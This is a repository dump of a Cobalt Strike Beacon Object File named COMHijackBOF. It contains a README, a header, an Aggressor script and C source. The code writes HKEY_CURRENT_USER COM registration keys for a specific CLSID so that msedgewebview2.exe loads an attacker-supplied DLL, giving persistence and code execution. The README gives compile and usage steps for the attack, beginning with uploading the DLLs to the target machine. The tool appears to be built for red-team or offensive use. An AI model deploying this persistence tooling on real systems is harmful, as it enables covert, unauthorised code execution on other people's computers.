├── comhijack.x64.o ├── README.md ├── beacon.h ├── comhijack.cna └── comhijack.c /comhijack.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kr0ff/COMHijackBOF/master/comhijack.x64.o -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # COM Hijack BOF 2 | Automates COM hijacking of `msedgewebview2.exe` for persistence and code execution. 3 | 4 | ## Compilation 5 | In x64 Native Tools Command Prompt for VS: 6 | ``` 7 | cl.exe /c /GS- /O2 comhijack.c /Focomhijack.x64.o 8 | ``` 9 | 10 | ## Usage 11 | 1. Upload the DLLs to the target machine 12 | 2. Run the command to setup the COM hijacking 13 | ``` 14 | beacon> comhijack C:\path\to\hijack.dll 15 | ``` 16 | 3. Clean up the COM hijacking Registry keys 17 | ``` 18 | beacon> comhijack_cleanup 19 | ``` 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | #ifndef BEACON_H 2 | #define BEACON_H 3 | 4 | #include 5 | 6 | #define CALLBACK_OUTPUT 0 7 | #define CALLBACK_ERROR 0x0d 8 | 9 | // Beacon Data Parser 10 | typedef struct { 11 | char* original; 12 | char* buffer; 13 | int length; 14 | int size; 15 | } datap; 16 | 17 | // Beacon API declarations 18 | DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size); 19 | DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size); 20 | DECLSPEC_IMPORT int BeaconDataInt(datap* parser); 21 | DECLSPEC_IMPORT short BeaconDataShort(datap* parser); 22 | DECLSPEC_IMPORT void BeaconPrintf(int type, char* fmt, ...); 23 | 24 | // MSVCRT functions 25 | DECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char*); 26 | DECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void*, int, size_t); 27 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char*, const char*); 28 | 29 | #endif -------------------------------------------------------------------------------- /comhijack.cna: -------------------------------------------------------------------------------- 1 | # Register the BOF commands 2 | beacon_command_register( 3 | "comhijack", 4 | "Setup COM hijack registry keys for msedgewebview2.exe", 5 | "Usage: comhijack [dll_path]\n" . 6 | "Example: comhijack C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\directmanipulation.dll" 7 | ); 8 | 9 | beacon_command_register( 10 | "comhijack_cleanup", 11 | "Remove COM hijack registry keys", 12 | "Usage: comhijack_cleanup\n" . 13 | "Removes all registry keys created by comhijack" 14 | ); 15 | 16 | alias comhijack { 17 | local('$barch $args $hijackDllPath'); 18 | 19 | if (size(@_) < 2) { 20 | berror($1, "Usage: comhijack [hijack_dll_path]"); 21 | berror($1, "Example: comhijack C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\directmanipulation.dll"); 22 | return; 23 | } 24 | 25 | $hijackDllPath = $2; 26 | $barch = barch($1); 27 | 28 | # Pack arguments 29 | $args = bof_pack($1, "z", $hijackDllPath); 30 | 31 | btask($1, "Setting up COM Hijack registry keys"); 32 | btask($1, " Target DLL Path: $hijackDllPath"); 33 | 34 | if ($barch eq "x64") { 35 | beacon_inline_execute($1, readbof(script_resource("comhijack.x64.o")), "go", $args); 36 | } else { 37 | beacon_inline_execute($1, readbof(script_resource("comhijack.x86.o")), "go", $args); 38 | } 39 | } 40 | 41 | alias comhijack_cleanup { 42 | local('$barch $args'); 43 | 44 | $barch = barch($1); 45 | 46 | # Pack cleanup argument 47 | $args = bof_pack($1, "z", "cleanup"); 48 | 49 | btask($1, "Cleaning up COM Hijack registry keys"); 50 | 51 | if ($barch eq "x64") { 52 | beacon_inline_execute($1, readbof(script_resource("comhijack.x64.o")), "go", $args); 53 | } else { 54 | beacon_inline_execute($1, readbof(script_resource("comhijack.x86.o")), "go", $args); 55 | } 56 | } -------------------------------------------------------------------------------- /comhijack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "beacon.h" 4 | 5 | // Define BeaconPrintf and other Beacon APIs 6 | DECLSPEC_IMPORT WINBASEAPI LSTATUS WINAPI ADVAPI32$RegCreateKeyExA(HKEY, LPCSTR, DWORD, LPSTR, DWORD, REGSAM, LPSECURITY_ATTRIBUTES, PHKEY, LPDWORD); 7 | DECLSPEC_IMPORT WINBASEAPI LSTATUS WINAPI ADVAPI32$RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD); 8 | DECLSPEC_IMPORT WINBASEAPI LSTATUS WINAPI ADVAPI32$RegCloseKey(HKEY); 9 | DECLSPEC_IMPORT WINBASEAPI LSTATUS WINAPI ADVAPI32$RegOpenKeyExA(HKEY, LPCSTR, DWORD, REGSAM, PHKEY); 10 | DECLSPEC_IMPORT WINBASEAPI LSTATUS WINAPI ADVAPI32$RegQueryValueExA(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD); 11 | DECLSPEC_IMPORT WINBASEAPI LSTATUS WINAPI ADVAPI32$RegDeleteKeyA(HKEY, LPCSTR); 12 | DECLSPEC_IMPORT WINBASEAPI LSTATUS WINAPI ADVAPI32$RegDeleteValueA(HKEY, LPCSTR); 13 | 14 | DECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char*); 15 | DECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void*, int, size_t); 16 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char*, const char*); 17 | 18 | #define CLSID_TARGET "{54E211B6-3650-4F75-8334-FA359598E1C5}" 19 | #define BASE_KEY "Software\\classes\\CLSID\\" CLSID_TARGET 20 | #define INPROC_KEY BASE_KEY "\\InProcServer32" 21 | 22 | void cleanup_hijack() { 23 | HKEY hKey; 24 | LSTATUS status; 25 | char existingPath[512]; 26 | DWORD existingPathSize; 27 | DWORD valueType; 28 | 29 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 30 | BeaconPrintf(CALLBACK_OUTPUT, " COM Hijack - Cleanup Mode"); 31 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 32 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Target CLSID: %s", CLSID_TARGET); 33 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 34 | BeaconPrintf(CALLBACK_OUTPUT, ""); 35 | 36 | // Check if the key exists 37 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Checking for existing COM hijack..."); 38 | status = ADVAPI32$RegOpenKeyExA(HKEY_CURRENT_USER, INPROC_KEY, 0, KEY_READ, &hKey); 39 | 40 | if (status != ERROR_SUCCESS) { 41 | BeaconPrintf(CALLBACK_OUTPUT, "[*] No COM hijack found - nothing to clean up"); 42 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 43 | return; 44 | } 45 | 46 | // Read the current value to show what we're removing 47 | MSVCRT$memset(existingPath, 0, sizeof(existingPath)); 48 | existingPathSize = sizeof(existingPath); 49 | 50 | status = ADVAPI32$RegQueryValueExA( 51 | hKey, 52 | "", 53 | NULL, 54 | &valueType, 55 | (LPBYTE)existingPath, 56 | &existingPathSize 57 | ); 58 | 59 | ADVAPI32$RegCloseKey(hKey); 60 | 61 | if (status == ERROR_SUCCESS && existingPathSize > 1) { 62 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Found existing COM hijack:"); 63 | BeaconPrintf(CALLBACK_OUTPUT, " DLL Path: %s", existingPath); 64 | } 65 | 66 | BeaconPrintf(CALLBACK_OUTPUT, ""); 67 | 68 | // Delete InProcServer32 subkey 69 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Step 1: Deleting InProcServer32 key..."); 70 | status = ADVAPI32$RegDeleteKeyA(HKEY_CURRENT_USER, INPROC_KEY); 71 | 72 | if (status == ERROR_SUCCESS) { 73 | BeaconPrintf(CALLBACK_OUTPUT, "[+] InProcServer32 key deleted successfully"); 74 | } else if (status == ERROR_FILE_NOT_FOUND) { 75 | BeaconPrintf(CALLBACK_OUTPUT, "[*] InProcServer32 key not found (already deleted?)"); 76 | } else { 77 | BeaconPrintf(CALLBACK_ERROR, "[!] Failed to delete InProcServer32 key: %d", status); 78 | } 79 | 80 | BeaconPrintf(CALLBACK_OUTPUT, ""); 81 | 82 | // Delete base CLSID key 83 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Step 2: Deleting CLSID key..."); 84 | status = ADVAPI32$RegDeleteKeyA(HKEY_CURRENT_USER, BASE_KEY); 85 | 86 | if (status == ERROR_SUCCESS) { 87 | BeaconPrintf(CALLBACK_OUTPUT, "[+] CLSID key deleted successfully"); 88 | } else if (status == ERROR_FILE_NOT_FOUND) { 89 | BeaconPrintf(CALLBACK_OUTPUT, "[*] CLSID key not found (already deleted?)"); 90 | } else { 91 | BeaconPrintf(CALLBACK_ERROR, "[!] Failed to delete CLSID key: %d", status); 92 | } 93 | 94 | BeaconPrintf(CALLBACK_OUTPUT, ""); 95 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 96 | BeaconPrintf(CALLBACK_OUTPUT, "[+] COM Hijack cleanup completed!"); 97 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 98 | BeaconPrintf(CALLBACK_OUTPUT, ""); 99 | BeaconPrintf(CALLBACK_OUTPUT, "[!] Note: DLL files were NOT deleted from disk"); 100 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Manually delete if needed:"); 101 | if (existingPathSize > 1) { 102 | BeaconPrintf(CALLBACK_OUTPUT, " del \"%s\"", existingPath); 103 | } 104 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 105 | } 106 | 107 | void setup_hijack(char* hijackDllPath, int pathLen) { 108 | HKEY hKey; 109 | LSTATUS status; 110 | DWORD disposition; 111 | char existingPath[512]; 112 | DWORD existingPathSize; 113 | DWORD valueType; 114 | 115 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 116 | BeaconPrintf(CALLBACK_OUTPUT, " COM Hijack - Setup Mode"); 117 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 118 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Target CLSID: %s", CLSID_TARGET); 119 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Hijack DLL Path: %s", hijackDllPath); 120 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 121 | BeaconPrintf(CALLBACK_OUTPUT, ""); 122 | 123 | // Check if InProcServer32 key already exists with a value 124 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Checking if COM hijack already configured..."); 125 | status = ADVAPI32$RegOpenKeyExA(HKEY_CURRENT_USER, INPROC_KEY, 0, KEY_READ, &hKey); 126 | 127 | if (status == ERROR_SUCCESS) { 128 | MSVCRT$memset(existingPath, 0, sizeof(existingPath)); 129 | existingPathSize = sizeof(existingPath); 130 | 131 | status = ADVAPI32$RegQueryValueExA( 132 | hKey, 133 | "", 134 | NULL, 135 | &valueType, 136 | (LPBYTE)existingPath, 137 | &existingPathSize 138 | ); 139 | 140 | ADVAPI32$RegCloseKey(hKey); 141 | 142 | if (status == ERROR_SUCCESS && existingPathSize > 1) { 143 | BeaconPrintf(CALLBACK_OUTPUT, "[!] COM hijack is ALREADY CONFIGURED!"); 144 | BeaconPrintf(CALLBACK_OUTPUT, ""); 145 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Current DLL Path: %s", existingPath); 146 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Requested Path: %s", hijackDllPath); 147 | BeaconPrintf(CALLBACK_OUTPUT, ""); 148 | BeaconPrintf(CALLBACK_OUTPUT, "[-] No changes made. To reconfigure:"); 149 | BeaconPrintf(CALLBACK_OUTPUT, " 1. Run cleanup: execute_coff ... -Arguments string:cleanup"); 150 | BeaconPrintf(CALLBACK_OUTPUT, " 2. Run setup again with new path"); 151 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 152 | return; 153 | } 154 | } 155 | 156 | BeaconPrintf(CALLBACK_OUTPUT, "[+] No existing hijack found - proceeding with setup"); 157 | BeaconPrintf(CALLBACK_OUTPUT, ""); 158 | 159 | // Create base CLSID key 160 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Step 1: Creating CLSID registry key..."); 161 | 162 | status = ADVAPI32$RegCreateKeyExA( 163 | HKEY_CURRENT_USER, 164 | BASE_KEY, 165 | 0, 166 | NULL, 167 | REG_OPTION_NON_VOLATILE, 168 | KEY_WRITE, 169 | NULL, 170 | &hKey, 171 | &disposition 172 | ); 173 | 174 | if (status != ERROR_SUCCESS) { 175 | BeaconPrintf(CALLBACK_ERROR, "[!] Failed to create CLSID key: %d", status); 176 | return; 177 | } 178 | 179 | BeaconPrintf(CALLBACK_OUTPUT, "[+] CLSID key created"); 180 | ADVAPI32$RegCloseKey(hKey); 181 | 182 | BeaconPrintf(CALLBACK_OUTPUT, ""); 183 | 184 | // Create InProcServer32 subkey 185 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Step 2: Creating InProcServer32 key..."); 186 | 187 | status = ADVAPI32$RegCreateKeyExA( 188 | HKEY_CURRENT_USER, 189 | INPROC_KEY, 190 | 0, 191 | NULL, 192 | REG_OPTION_NON_VOLATILE, 193 | KEY_WRITE, 194 | NULL, 195 | &hKey, 196 | &disposition 197 | ); 198 | 199 | if (status != ERROR_SUCCESS) { 200 | BeaconPrintf(CALLBACK_ERROR, "[!] Failed to create InProcServer32 key: %d", status); 201 | return; 202 | } 203 | 204 | BeaconPrintf(CALLBACK_OUTPUT, "[+] InProcServer32 key created"); 205 | BeaconPrintf(CALLBACK_OUTPUT, ""); 206 | 207 | // Set DLL path (default value) 208 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Step 3: Setting DLL path..."); 209 | 210 | status = ADVAPI32$RegSetValueExA( 211 | hKey, 212 | "", 213 | 0, 214 | REG_SZ, 215 | (const BYTE*)hijackDllPath, 216 | pathLen + 1 217 | ); 218 | 219 | if (status != ERROR_SUCCESS) { 220 | BeaconPrintf(CALLBACK_ERROR, "[!] Failed to set DLL path: %d", status); 221 | ADVAPI32$RegCloseKey(hKey); 222 | return; 223 | } 224 | 225 | BeaconPrintf(CALLBACK_OUTPUT, "[+] DLL path set successfully"); 226 | BeaconPrintf(CALLBACK_OUTPUT, ""); 227 | 228 | // Set Threading Model 229 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Step 4: Setting ThreadingModel..."); 230 | const char* threadingModel = "Both"; 231 | int threadingModelLen = MSVCRT$strlen(threadingModel); 232 | 233 | status = ADVAPI32$RegSetValueExA( 234 | hKey, 235 | "ThreadingModel", 236 | 0, 237 | REG_SZ, 238 | (const BYTE*)threadingModel, 239 | threadingModelLen + 1 240 | ); 241 | 242 | if (status != ERROR_SUCCESS) { 243 | BeaconPrintf(CALLBACK_ERROR, "[!] Failed to set ThreadingModel: %d", status); 244 | ADVAPI32$RegCloseKey(hKey); 245 | return; 246 | } 247 | 248 | BeaconPrintf(CALLBACK_OUTPUT, "[+] ThreadingModel set successfully"); 249 | ADVAPI32$RegCloseKey(hKey); 250 | 251 | // Summary 252 | BeaconPrintf(CALLBACK_OUTPUT, ""); 253 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 254 | BeaconPrintf(CALLBACK_OUTPUT, "[+] COM Hijack setup completed!"); 255 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 256 | BeaconPrintf(CALLBACK_OUTPUT, ""); 257 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Configuration:"); 258 | BeaconPrintf(CALLBACK_OUTPUT, " DLL Path: %s", hijackDllPath); 259 | BeaconPrintf(CALLBACK_OUTPUT, " Threading Model: Both"); 260 | BeaconPrintf(CALLBACK_OUTPUT, ""); 261 | BeaconPrintf(CALLBACK_OUTPUT, "[!] Upload DLL files separately"); 262 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Trigger: start msedgewebview2.exe"); 263 | BeaconPrintf(CALLBACK_OUTPUT, "========================================"); 264 | } 265 | 266 | void go(char *args, int len) { 267 | datap parser; 268 | char* argument; 269 | int argLen; 270 | 271 | BeaconDataParse(&parser, args, len); 272 | 273 | // Extract the first argument 274 | argument = BeaconDataExtract(&parser, &argLen); 275 | 276 | if (argument == NULL || argLen == 0) { 277 | BeaconPrintf(CALLBACK_ERROR, "[!] No argument provided"); 278 | BeaconPrintf(CALLBACK_ERROR, "[!] Usage:"); 279 | BeaconPrintf(CALLBACK_ERROR, " Setup: string:"); 280 | BeaconPrintf(CALLBACK_ERROR, " Cleanup: string:cleanup"); 281 | return; 282 | } 283 | 284 | // Check if this is cleanup mode 285 | if (MSVCRT$strcmp(argument, "cleanup") == 0) { 286 | cleanup_hijack(); 287 | return; 288 | } 289 | 290 | // Otherwise, treat it as setup mode with DLL path 291 | int pathLen = MSVCRT$strlen(argument); 292 | 293 | if (pathLen == 0) { 294 | BeaconPrintf(CALLBACK_ERROR, "[!] DLL path is empty"); 295 | return; 296 | } 297 | 298 | setup_hijack(argument, pathLen); 299 | } --------------------------------------------------------------------------------